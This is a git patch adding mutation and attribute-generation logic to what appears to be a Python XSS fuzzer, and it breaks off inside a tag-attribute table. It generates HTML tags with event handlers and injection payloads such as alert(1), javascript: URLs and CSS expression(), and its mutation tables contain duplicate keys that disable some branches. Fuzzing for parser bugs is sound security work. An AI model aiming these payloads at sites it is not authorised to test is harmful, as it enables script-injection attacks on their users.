From c85c499bd455009c332e38be7f0b93eeae283123 Mon Sep 17 00:00:00 2001 From: Daniele Linguaglossa Date: Fri, 27 Oct 2023 12:13:05 +0200 Subject: [PATCH 1/2] add fuzzer logic --- language.py | 81 +++- language_utils.py | 70 +++- mutations.py | 104 +++++ tags.py | 966 ++++++++++++++++++++++++++++++++++++++++------ utils.py | 45 +++ xzzuf.py | 121 +++++- 6 files changed, 1225 insertions(+), 162 deletions(-) create mode 100644 mutations.py create mode 100644 utils.py diff --git a/language.py b/language.py index c3d0bd2..da17633 100644 --- a/language.py +++ b/language.py @@ -1,4 +1,8 @@ -from language_utils import gen_boolean, gen_color, gen_date, gen_email, gen_javascript, gen_number, gen_style, gen_text, gen_url +from language_utils import gen_boolean, gen_color, gen_date, gen_email, \ + gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \ + gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key +from utils import rndstr, choice +from mutations import Mutations class HTMLTag: @@ -7,22 +11,55 @@ class HTMLTag: self.self_closing = self_closing self.attributes = [] self.children = [] + self.id = rndstr(8) + self.nameattr = rndstr(10) + self.rndchrpos = {} + self.mutator: Mutations = None + + def set_mutator(self, mutator): + self.mutator = mutator + + def add_attribute(self, attr): + attr.root = self + self.attributes.append(attr) def __str__(self) -> str: + # self mutate + if self.mutator: + # mutate attributes + for attr in self.attributes: + if attr.attr == AttrType.ATTR_TAG_SPECIFIC: + cases = [ + lambda x: self.my_mutate_attr(x), + lambda x: self.mutator.mutate_attr(x.value), + ] + choice(cases)(attr) + elif attr.attr == AttrType.ATTR_EVENT: + self.mutator.mutate_js(attr.value) + self.mutator.mutate_tag(tag=self) + tag = "" if self.self_closing: - tag = f"<{self.name} " + tag = f"<{self.name}" + tag += f" name=\"{self.nameattr}\" " + tag += f" id=\"{self.id}\" " for attr in self.attributes: tag += f"{attr} " tag += "/>" else: tag = f"<{self.name}" + tag += f" name=\"{self.nameattr}\" " + tag += f" id=\"{self.id}\" " for attr in self.attributes: tag += f"{attr} " tag += ">" for child in self.children: tag += f"{child}" tag += f"" + + for pos in self.rndchrpos: + tag = tag[:pos] + self.rndchrpos[pos] + tag[pos:] + return tag @@ -31,11 +68,18 @@ class HTMLTagAttributeType: TypeBoolean = 1 TypeNumber = 2 TypeColor = 3 - TypeJavascript = 4 + TypeJS = 4 TypeStlye = 5 TypeURL = 6 TypeEmail = 7 TypeDate = 8 + TypeTarget = 9 + TypeName = 10 + TypeFlag = 11 + TypeDrop = 12 + TypeDir = 13 + TypeWindowTarget = 14 + TypeAccessKey = 15 Generators = { @@ -43,21 +87,46 @@ Generators = { HTMLTagAttributeType.TypeBoolean: gen_boolean, HTMLTagAttributeType.TypeNumber: gen_number, HTMLTagAttributeType.TypeColor: gen_color, - HTMLTagAttributeType.TypeJavascript: gen_javascript, + HTMLTagAttributeType.TypeJS: gen_javascript, HTMLTagAttributeType.TypeStlye: gen_style, HTMLTagAttributeType.TypeURL: gen_url, HTMLTagAttributeType.TypeEmail: gen_email, HTMLTagAttributeType.TypeDate: gen_date, + HTMLTagAttributeType.TypeTarget: gen_target, + HTMLTagAttributeType.TypeName: gen_name, + HTMLTagAttributeType.TypeFlag: gen_flag, + HTMLTagAttributeType.TypeDrop: gen_drop, + HTMLTagAttributeType.TypeDir: gen_dir, + HTMLTagAttributeType.TypeWindowTarget: gen_wtarget, + HTMLTagAttributeType.TypeAccessKey: gen_access_key, } +class AttrType: + ATTR_NONE = -1 + ATTR_GLOBAL = 0 + ATTR_EVENT = 1 + ATTR_TAG_SPECIFIC = 2 + + class HTMLAttribute: - def __init__(self, name, value_type): + def __init__(self, name, value_type, glob=True, root=None): + self.root = root self.name = name self.kind = value_type - self.value = Generators[value_type]() + if self.kind == HTMLTagAttributeType.TypeJS: + self.attr = AttrType.ATTR_EVENT + else: + if glob: + self.attr = AttrType.ATTR_GLOBAL + else: + self.attr = AttrType.ATTR_TAG_SPECIFIC def __str__(self) -> str: + if self.kind == HTMLTagAttributeType.TypeTarget or self.kind == HTMLTagAttributeType.TypeName: + self.value = Generators[self.kind](self.root) + else: + self.value = Generators[self.kind]() if not self.value: return self.name else: diff --git a/language_utils.py b/language_utils.py index 3a8b899..3f16420 100644 --- a/language_utils.py +++ b/language_utils.py @@ -1,4 +1,4 @@ -from random import randint +from utils import choice def gen_text(): @@ -14,23 +14,23 @@ def gen_text(): 8: lambda: '"alert(1)"', } - return cases[randint(0, 8)]() + return choice(cases)() def gen_boolean(): cases = { - 0: lambda: 'true', - 1: lambda: 'false', - 2: lambda: '1', - 3: lambda: '0', + 0: lambda: 'yes', + 1: lambda: 'no', + 2: lambda: 'true', + 3: lambda: 'false', 4: lambda: 'null', 5: lambda: 'undefined', 6: lambda: '""', - 7: lambda: '[]', - 8: lambda: '{}', + 7: lambda: '0', + 8: lambda: '1', } - return cases[randint(0, 8)]() + return choice(cases)() def gen_number(): @@ -46,7 +46,7 @@ def gen_number(): 8: lambda: '1e-1', } - return cases[randint(0, 8)]() + return choice(cases)() def gen_color(): @@ -62,7 +62,7 @@ def gen_color(): 8: lambda: '#c0c0c0', } - return cases[randint(0, 8)]() + return choice(cases)() def gen_javascript(): @@ -81,7 +81,7 @@ def gen_javascript(): 11: lambda: '{1:alert(1)}', } - return cases[randint(0, 11)]() + return choice(cases)() def gen_style(): @@ -92,7 +92,7 @@ def gen_style(): 2: lambda: 'expression\x600\x60', } - return cases[randint(0, 2)]() + return choice(cases)() def gen_url(): @@ -104,7 +104,7 @@ def gen_url(): 3: lambda: 'data:text/html,', } - return cases[randint(0, 3)]() + return choice(cases)() def gen_email(): @@ -115,8 +115,48 @@ def gen_email(): 2: lambda: '@javascript:alert\x600\x60', } - return cases[randint(0, 3)]() + return choice(cases)() def gen_date(): return '' + + +def gen_target(root): + if root is None: + return None + ids = [] + ids.append(root.id) + for child in root.children: + ids.append(child.id) + return choice(ids) + + +def gen_name(root): + if root is None: + return None + names = [] + names.append(root.nameattr) + for child in root.children: + names.append(child.nameattr) + return choice(names) + + +def gen_flag(): + return None + + +def gen_drop(): + return choice(["copy", "move", "link"]) + + +def gen_dir(): + return choice(["ltr", "rtl", "auto"]) + + +def gen_wtarget(): + return choice(["_self", "_blank", "_parent", "_top"]) + + +def gen_access_key(): + return 'X' diff --git a/mutations.py b/mutations.py new file mode 100644 index 0000000..ce44f19 --- /dev/null +++ b/mutations.py @@ -0,0 +1,104 @@ +from utils import choice, rndunicode, choice_percent + + +class Mutations: + def __init__(self, strongness=0): + self.strongness = strongness + + def mutate_attr(self, attr): + cases = { + 70: lambda x: x, + 10: self.mutate_attr_newline, + 10: self.mutate_attr_unicode, + 10: self.mutate_attr_unicode_rnd_pos, + } + + return choice_percent(cases)(attr) + + def mutate_value(self, value: str): + cases = { + 70: lambda x: x, + 20: self.mutate_value_newline, + 10: self.mutate_value_unicode, + } + + return choice_percent(cases)(value) + + def mutate_tag(self, tag): + cases = { + 70: lambda x: x, + 30: self.mutate_tag_insert_random_pos, + } + + return choice_percent(cases)(tag) + + def mutate_js(self, js: str): + cases = { + 70: lambda x: x, + 30: self.mutate_js_insert_random_pos, + } + + return choice_percent(cases)(js) + + @staticmethod + def mutate_attr_newline(attr): + attr.name = f"{attr.name}\n" + return attr + + @staticmethod + def mutate_attr_unicode(attr): + attr.name = f"{attr.name}{rndunicode()}" + return attr + + @staticmethod + def mutate_attr_unicode_rnd_pos(attr): + pos = choice(range(len(attr.name))) + attr.name = f"{attr.name[:pos]}{rndunicode()}{attr.name[pos:]}" + return attr + + @staticmethod + def mutate_value_newline(attr): + # find a random position in the value + # and insert a newline + pos = choice(range(len(attr.value))) + attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}" + return attr + + @staticmethod + def mutate_value_unicode(attr): + pos = choice(range(len(attr.value))) + attr.value = f"{attr.value[:pos]}{rndunicode()}{attr.value[pos:]}" + return attr + + @staticmethod + def mutate_tag_insert_random_pos(tag): + pos = choice(range(0, len(str(tag)))) + + chars = { + 50: lambda: "\n", + 20: lambda: rndunicode(), + 20: lambda: choice([" ", "\t"]), + 10: lambda: choice(["\\", "'", "/", '"']), + } + + nmutations = choice(range(1, 4)) + + for _ in range(nmutations): + tag.rndchrpos[pos] = choice_percent(chars)() + + return tag + + @staticmethod + def mutate_js_insert_random_pos(js: str): + pos = choice(range(len(js))) + chars = { + 70: lambda: "\n", + 20: lambda: choice([" ", "\t"]), + 10: lambda: choice(["\\", "'", "/", '"']), + } + + nmutations = choice(range(1, 4)) + + for _ in range(nmutations): + js = f"{js[:pos]}{choice_percent(chars)()}{js[pos:]}" + return js diff --git a/tags.py b/tags.py index 0551872..d0b99f5 100644 --- a/tags.py +++ b/tags.py @@ -19,7 +19,6 @@ Tags = [ HTMLTag('big', self_closing=False), HTMLTag('blockquote', self_closing=False), HTMLTag('body', self_closing=False), - HTMLTag('br', self_closing=True), HTMLTag('button', self_closing=False), HTMLTag('canvas', self_closing=False), HTMLTag('caption', self_closing=False), @@ -88,13 +87,9 @@ Tags = [ HTMLTag('pre', self_closing=False), HTMLTag('progress', self_closing=False), HTMLTag('q', self_closing=False), - HTMLTag('rp', self_closing=False), - HTMLTag('rt', self_closing=False), - HTMLTag('ruby', self_closing=False), HTMLTag('s', self_closing=False), HTMLTag('samp', self_closing=False), HTMLTag('script', self_closing=False), - HTMLTag('section', self_closing=False), HTMLTag('select', self_closing=False), HTMLTag('small', self_closing=False), HTMLTag('source', self_closing=True), @@ -103,7 +98,6 @@ Tags = [ HTMLTag('strong', self_closing=False), HTMLTag('style', self_closing=False), HTMLTag('sub', self_closing=False), - HTMLTag('summary', self_closing=False), HTMLTag('sup', self_closing=False), HTMLTag('svg', self_closing=False), HTMLTag('table', self_closing=False), @@ -127,122 +121,846 @@ Tags = [ HTMLTag('xmp', self_closing=False), ] -Attributes = [ - # events - HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onbeforescriptexecute', - HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onblur', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onchange', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onclick', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onclose', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('oncut', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onend', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onended', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onerror', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('oninput', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onload', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onmozfullscreenchange', - HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpause', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onplay', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onreset', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onresize', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onselect', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onshow', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onstart', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ontoggle(popover)', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onunload', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onwebkitanimationiteration', - HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onwebkitanimationstart', - HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onwebkittransitionend', - HTMLTagAttributeType.TypeJavascript), - HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJavascript), +EventsAttributes = [ + HTMLAttribute('onafterprint', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onafterscriptexecute', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onanimationcancel', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onanimationend', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onanimationiteration', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onanimationstart', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onauxclick', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onbeforecopy', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onbeforecut', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onbeforeinput', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onbeforeprint', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onbeforescriptexecute', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onbeforetoggle', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onbeforeunload', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onbegin', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onblur', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onbounce', HTMLTagAttributeType.TypeJS), + HTMLAttribute('oncanplay', HTMLTagAttributeType.TypeJS), + HTMLAttribute('oncanplaythrough', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onchange', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onclick', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onclose', HTMLTagAttributeType.TypeJS), + HTMLAttribute('oncontextmenu', HTMLTagAttributeType.TypeJS), + HTMLAttribute('oncopy', HTMLTagAttributeType.TypeJS), + HTMLAttribute('oncuechange', HTMLTagAttributeType.TypeJS), + HTMLAttribute('oncut', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ondblclick', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ondrag', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ondragend', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ondragenter', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ondragleave', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ondragover', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ondragstart', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ondrop', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ondurationchange', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onend', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onended', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onerror', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onfinish', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onfocus', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onfocusin', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onfocusout', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onfullscreenchange', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onhashchange', HTMLTagAttributeType.TypeJS), + HTMLAttribute('oninput', HTMLTagAttributeType.TypeJS), + HTMLAttribute('oninvalid', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onkeydown', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onkeypress', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onkeyup', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onload', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onloadeddata', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onloadedmetadata', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onmessage', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onmousedown', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onmouseenter', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onmouseleave', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onmousemove', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onmouseout', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onmouseover', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onmouseup', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onmousewheel', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onmozfullscreenchange', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpagehide', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpageshow', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpaste', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpause', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onplay', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onplaying', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpointerdown', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpointerenter', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpointerleave', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpointermove', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpointerout', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpointerover', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpointerrawupdate', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpointerup', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onpopstate', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onprogress', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onratechange', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onrepeat', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onreset', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onresize', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onscroll', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onscrollend', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onsearch', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onseeked', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onseeking', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onselect', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onselectionchange', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onselectstart', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onshow', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onstart', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onsubmit', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ontimeupdate', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ontoggle', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ontouchend', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ontouchmove', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ontouchstart', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ontransitioncancel', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ontransitionend', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ontransitionrun', HTMLTagAttributeType.TypeJS), + HTMLAttribute('ontransitionstart', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onunhandledrejection', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onunload', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onvolumechange', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onwebkitanimationend', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onwebkitanimationiteration', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onwebkitanimationstart', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onwebkittransitionend', HTMLTagAttributeType.TypeJS), + HTMLAttribute('onwheel', HTMLTagAttributeType.TypeJS), ] + +GlobalAttributes = [ + HTMLAttribute('accesskey', HTMLTagAttributeType.TypeAccessKey), + HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('autocapitalize', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('contenteditable', HTMLTagAttributeType.TypeBoolean), + HTMLAttribute('contextmenu', HTMLTagAttributeType.TypeText), + HTMLAttribute('dir', HTMLTagAttributeType.TypeDir), + HTMLAttribute('draggable', HTMLTagAttributeType.TypeBoolean), + HTMLAttribute('dropzone', HTMLTagAttributeType.TypeDrop), + HTMLAttribute('hidden', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('is', HTMLTagAttributeType.TypeText), + HTMLAttribute('lang', HTMLTagAttributeType.TypeText), + HTMLAttribute('popover', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('slot', HTMLTagAttributeType.TypeName), + HTMLAttribute('spellcheck', HTMLTagAttributeType.TypeBoolean), + HTMLAttribute('style', HTMLTagAttributeType.TypeStlye), + HTMLAttribute('tabindex', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + HTMLAttribute('translate', HTMLTagAttributeType.TypeBoolean), +] + +TagSpecificAttributes = { + 'a': [ + HTMLAttribute('download', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('href', HTMLTagAttributeType.TypeURL), + HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText), + HTMLAttribute('media', HTMLTagAttributeType.TypeText), + HTMLAttribute('ping', HTMLTagAttributeType.TypeURL), + HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), + HTMLAttribute('rel', HTMLTagAttributeType.TypeText), + HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + ], + 'abbr': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'acronym': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'address': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'applet': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('alt', HTMLTagAttributeType.TypeText), + HTMLAttribute('archive', HTMLTagAttributeType.TypeURL), + HTMLAttribute('code', HTMLTagAttributeType.TypeURL), + HTMLAttribute('codebase', HTMLTagAttributeType.TypeURL), + HTMLAttribute('data', HTMLTagAttributeType.TypeURL), + HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('object', HTMLTagAttributeType.TypeURL), + HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'area': [ + HTMLAttribute('alt', HTMLTagAttributeType.TypeText), + HTMLAttribute('coords', HTMLTagAttributeType.TypeText), + HTMLAttribute('download', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('href', HTMLTagAttributeType.TypeURL), + HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText), + HTMLAttribute('media', HTMLTagAttributeType.TypeText), + HTMLAttribute('ping', HTMLTagAttributeType.TypeURL), + HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), + HTMLAttribute('rel', HTMLTagAttributeType.TypeText), + HTMLAttribute('shape', HTMLTagAttributeType.TypeText), + HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + ], + 'article': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'aside': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'audio': [ + HTMLAttribute('autoplay', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('controls', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('loop', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('muted', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('preload', HTMLTagAttributeType.TypeText), + HTMLAttribute('src', HTMLTagAttributeType.TypeURL), + ], + 'b': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'base': [ + HTMLAttribute('href', HTMLTagAttributeType.TypeURL), + ], + 'basefont': [ + 